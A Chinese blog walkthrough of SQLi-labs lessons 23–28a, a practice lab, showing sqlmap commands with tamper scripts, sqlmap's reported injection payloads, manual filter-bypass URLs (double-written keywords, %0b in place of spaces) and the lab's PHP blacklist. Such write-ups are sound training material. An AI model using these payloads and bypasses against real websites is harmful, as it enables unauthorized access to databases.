本篇文章中的一些过滤讲解大部分来自于我的另外一篇博客,如果不太清楚,可以移步:
Sqllibs-Less23-28
每一关我都尽量试了一下,有些可以有些不太行,关于不太行的,我后续进阶玩法的时候再慢慢补上,如果您看到的时候我还没有补上,可能是我忘记了,可以私信催我一下啦!
23、less23-Error Based-no comments
如上,可得本关过滤了注释符 #
和 - -
。
在本关中类似于第一关,但是对于id进行了注释符的过滤,因此我们需要利用参数 - - tamper = versionedkeywords.py
进行绕过。
脚本:versionedkeywords.py
注释绕过
以下为sqlmap的注入语句:
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-23/index.php?id=1" --tamper=versionedkeywords.py
以下为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 261 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7930=7930 AND 'RTnv'='RTnv
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71716a7171,(SELECT (ELT(5071=5071,1))),0x7176786a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'rldO'='rldO
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8909 FROM (SELECT(SLEEP(5)))NQXU) AND 'zgve'='zgve
---
24、less24-Second Degree Injections
25-less25-Trick with OR & AND
由上我们可以发现本关过滤了or和and字符串,因此我们需要利用参数 - - tamper = versionedkeywords.py
进行绕过。
以下为sqlmap的注入语句:
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-25/?id=1" --level=5
以下为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 358 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: id=1' HAVING 7117=7117-- iadr
Type: error-based
Title: MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)
Payload: id=1' PROCEDURE ANALYSE(EXTRACTVALUE(5329,CONCAT(0x5c,0x71766a7071,(SELECT (CASE WHEN (5329=5329) THEN 1 ELSE 0 END)),0x71706b7171)),1)-- IrQH
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=1' RLIKE SLEEP(5)-- bBiX
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-4759' UNION ALL SELECT NULL,CONCAT(0x71766a7071,0x6e4d6c6f6c576d664b4741544956706e4c42686e584e74784b6154617173475765556246724b7074,0x71706b7171),NULL-- -
---
25a、less25a-Trick with OR & AND Blind
本关第25关是类似的,闭合方式为数字型,没有单引号,而且没有输出数据库信息,因此我们不能使用报错注入,但还可以使用union注入和延时注入。
以下为sqlmap的注入语句:
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-25a/?id=1" --level 5 --dbs
以下为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 323 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1 RLIKE (SELECT (CASE WHEN (3429=3429) THEN 1 ELSE 0x28 END))
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3034 UNION ALL SELECT NULL,NULL,CONCAT(0x717a706271,0x5a76687552436449644f4751734561586b48645a67546e66516d554b6c4252635a4c66664b796b62,0x71766b6b71)-- -
---
26、less26-Trick With Comments
在本关中我们过滤的有and、or、/*、#、空格以及\,闭合方式为单引号闭合。
在本关我们可以利用union注入,过滤了空格,我们需要使用其他的字符替换空格。在这里我们利用%b0,替换空格,其他的类似。
http://192.168.10.208:8081/sqli-labs-master/Less-26/?id=0‘ %0b union %0b select %0b 1,2,3 ||'1'='1
以下为sqlmap的注入语句:
以下为sqlmap给出的payload:
26a、less26a-Trick With Comments
看源码可以发现这个代码类似于less26关,但是闭合方式改变为单引号+括号,数据库中的错误信息不进行输出。无法进行报错注入,可以利用延时注入和union注入,因此类似于less26关。
以下为sqlmap的注入语句:
以下为sqlmap给出的payload:
27、less27-Trick with SELECT&UNION
我们的过滤函数,可以发现,相较于26关,这一关过滤的条件增加了很多。过滤的有 :and、or、/*、#、空格、\、出现任意多次的select、一次union、UNION、SELECT、Union、Select。并且可以发现会显示数据库产生报错信息呢,因此可以利用报错注入和union注入。
当我们使用union注入时,可以利用ununionion、SeLecT绕过上面的注入函数。手工其余的类似于上面。
手工注入语句如下:
http://192.168.10.208:8081/sqli-labs-master/Less-27/?id=0'%0bununionion%0bSeLecT%0b1,database(),'@@basedir
易知我们需要进行双写绕过,额,我在我的tamper里面找了一下,并没有发现双写绕过的tamper,所以这个我之后再来补上吧!
以下为sqlmap的注入语句:
以下为sqlmap给出的payload:
27a、less27a-Trick with SELECT&UNION
以下为sqlmap的注入语句:
以下为sqlmap给出的payload:
28、less28-Trick with SELECT&UNION
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
由上面源码可以得出,本关过滤的了/*、–、#、空格、union select字符串。
本关我试着抛了一下发现还是没有跑出来,希望有办法的大佬可以留言评论啦!
这里我放一下手工注入的语句:
http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),('@@basedir
或者(PS:下面不能是&&,一定得是||)
http://192.168.10.208:8081/sqli-labs-master/Less-28/?id=0')%0bUnIoN%0bSeLecT%0b1,database(),@basedir |('1')=('1
28a、less28a-Trick with SELECT&UNION
本关类似于less28,只是少了许多个过滤函数而已,且闭合方式为单引号+括号
以下为sqlmap的注入语句:
本关我们无法利用union注入,因此我们在技术上排除了union。因此利用参数 --technique=BEST
。
C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-28a/?id=1" --level=5 --risk=3 --technique=BEST
以下为sqlmap给出的payload:
sqlmap identified the following injection point(s) with a total of 108 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1') AND 4102=4102-- wgBC
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1') AND (SELECT 4887 FROM (SELECT(SLEEP(5)))RnLD)-- NYSM
---